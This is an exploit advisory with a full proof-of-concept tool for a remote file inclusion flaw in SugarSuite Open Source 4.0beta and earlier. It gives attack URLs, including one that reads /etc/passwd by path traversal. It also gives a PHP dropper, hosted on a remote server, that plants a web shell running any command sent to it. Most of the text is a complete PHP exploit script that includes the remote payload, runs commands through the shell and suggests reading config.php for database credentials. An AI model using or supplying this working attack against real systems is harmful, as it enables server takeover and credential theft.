SugarSuite Open Source <= 4.0beta Remote code execution

2005-12-07 / 2005-12-08
Credit: rgod
Risk: High
Local: No
Remote: Yes

CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

SugarSuite Open Source <= 4.0beta Remote code execution software: site: i) vulnerable code in acceptDecline.php at lines 81-82 ... $bean = $beanList[$_REQUEST['module']]; require_once($beanFiles[$bean]); ... if register_globals on & allow_url_fopen on in php.ini, remote code inclusion, poc: http://[target]/[path_to_sugar]/acceptDecline.php?beanFiles[1]=http://[r emote_location]/index.html&beanList[1]=1&module=1 if register_globals on, local inclusion, poc http://[target]/[path_to_sugar]/acceptDecline.php?beanFiles[1]=../../../ ../../../../../etc/passwd&beanList[1]=1&module=1 http://[target]/[path_to_sugar]/acceptDecline.php?beanFiles[1]=../../../ ../../../../../../script.php&beanList[1]=1&module=1 at [remote_location], in index.html you have this code: <?php $fp=fopen("suntzu.php","w"); fputs($fp,"<? echo 'Hi Master';error_reporting(0);ini_set('max_execution_time',0); system($HTTP_GET_VARS[cmd]);?>"); fclose($fp); ?> note: the file can have any extension, but not .php or any executable, it must be readable from a browser... now you can launch commands on target system: http://[target]/[path_to_sugar]/suntzu.php?cmd=cat%20/etc/passwd this is my proof of concept exploit tool: <?php # ---sugar_suite_40beta_xpl.php # # # # Sugar Suite Open Source <= 4.0 beta remote code execution # # coded by rgod # # site: # # # # usage: launch from Apache, fill in requested fields, then go! # # # # Sun-Tzu:"It is a matter of life and death, a road either to safety or to # # ruin. Hence it is a subject of inquiry which can on no account be # # neglected." # error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout", 2); ob_implicit_flush (1); echo'<html><head><title>Sugar Suite Open Source <= 4.0beta remote code execution </title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <style type="text/css"> body {background-color:#111111; SCROLLBAR-ARROW-COLOR: #ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img {background-color: #FFFFFF !important} input {background-color: #303030 !important} option { background-color: #303030 !important} textarea {background-color: #303030 !important} input {color: #1CB081 !important} option {color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox {background-color: #303030 !important} select {font-weight: normal; color: #1CB081; background-color: #303030;} body {font-size: 8pt !important; background-color: #111111; body * {font-size: 8pt !important} h1 {font-size: 0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em !important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em !important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em !important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style: normal !important} *{text-decoration: none !important} a:link,a:active,a:visited { text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline; color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6"> Sugar Suite Open Source <= 4.0beta remote code execution</p><p class="Stile6"> a script by rgod at <a href=""target="_blank"></a></p><table width="84%"><tr><td width="43%"> <form name="form1" method="post" action="'.strip_tags($_SERVER[PHP_SELF]).'"><p><input type="text" name="host"> <span class="Stile5">* hostname ( </span></p> <p><input type="text" name="path"> <span class="Stile5">* path (ex: /sugar/ or just / ) </span></p><p><input type="text" name="command"> <span class="Stile5"> * specify a command ("cat config.php" to see database username & password)</span></p><p><input type="text" name="location"><span class="Stile5"> * remote location ( ex: </span></p><p><input type="text" name="port"><span class="Stile5">specify a port other than 80 ( default value ) </span></p> <p> <input type="text" name="proxy"> <span class="Stile5"> send exploit through an HTTP proxy (ip:port)</span></p> <p> <input type="submit" name="Submit" value="go!"></p></form> </td> </tr> </table> </body></html>'; function show($headeri) { $ii=0; $ji=0; $ki=0; $ci=0; echo '<table border="0"><tr>'; while ($ii <= strlen($headeri)-1) { $datai=dechex(ord($headeri[$ii])); if ($ji==16) { $ji=0; $ci++; echo "<td> </td>"; for ($li=0; $li<=15; $li++) { echo "<td>".$headeri[$li+$ki]."</td>"; } $ki=$ki+16; echo "</tr><tr>"; } if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else {echo "<td>".$datai."</td> ";} $ii++; $ji++; } for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { echo "<td> </td>"; } for ($li=$ci*16; $li<=strlen($headeri); $li++) { echo "<td>".$headeri[$li]."</td>"; } echo "</tr></table>"; } $proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)'; function sendpacket() //if you have sockets module loaded, 2x speed! if not,load //next function to send packets { global $proxy, $host, $port, $packet, $html, $proxy_regex; $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if ($socket < 0) { echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>"; } else { $c = preg_match($proxy_regex,$proxy); if (!$c) {echo 'Not a valid prozy...'; die; } echo "OK.<br>"; echo "Attempting to connect to ".$host." on port ".$port."...<br>"; if ($proxy=='') { $result = socket_connect($socket, $host, $port); } else { $parts =explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>'; $result = socket_connect($socket, $parts[0],$parts[1]); } if ($result < 0) { echo "socket_connect() failed.rnReason: (".$result.") " . socket_strerror($result) . "<br><br>"; } else { echo "OK.<br><br>"; $html= ''; socket_write($socket, $packet, strlen($packet)); echo "Reading response:<br>"; while ($out= socket_read($socket, 2048)) {$html.=$out;} echo nl2br(htmlentities($html)); echo "Closing socket..."; socket_close($socket); } } } function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') {$ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.htmlentities($host); die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) {echo 'Not a valid prozy...'; die; } $parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>'; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...'; die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); echo nl2br(htmlentities($html)); } $host=$_POST[host];$path=$_POST[path];$command=$_POST[command]; $proxy=$_POST[proxy];$location=$_POST[location];$port=$_POST[port]; if (($host<>'') and ($path<>'') and ($command<>'') and ($location<>'')) { $port=intval(trim($port)); if ($port=='') {$port=80;} if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $host=str_replace("rn","",$host); $path=str_replace("rn","",$path); $packet="GET ".$p."acceptDecline.php?beanFiles[1]=".urlencode($location)."&beanList[1 ]=1&module=1 HTTP/1.1rn"; $packet.="User-Agent: MantraAgentrn"; $packet.="Host: ".$host.":".$port."rn"; $packet.="Connection: Closernrn"; show($packet); sendpacketii($packet); $packet="GET ".$p."suntzu.php?cmd=".urlencode($command)." HTTP/1.1rn"; $packet.="User-Agent: Vagabondo/2.0 MTrn"; $packet.="Host: ".$host.":".$port."rn"; $packet.="Connection: Closernrn"; show($packet); sendpacketii($packet); if (eregi("Hi Master",$html)) {echo "Exploit succeeded...";} else {echo "Exploit failed...";} } else { echo "Note: on remote location you need this code in <br> http:/[remote_location]/index.html :<br>"; echo nl2br(htmlentities(" <?php $fp=fopen("suntzu.php","w"); fputs($fp,"<? echo 'Hi Master';error_reporting(0);ini_set('max_execution_time',0); system(\$HTTP_GET_VARS[cmd]);?>"); fclose($fp); ?> ")); echo "<br>Fill * requested fields, optionally specify a proxy..."; } ?> rgod site: mail: retrogod at aliceposta it original advisory:

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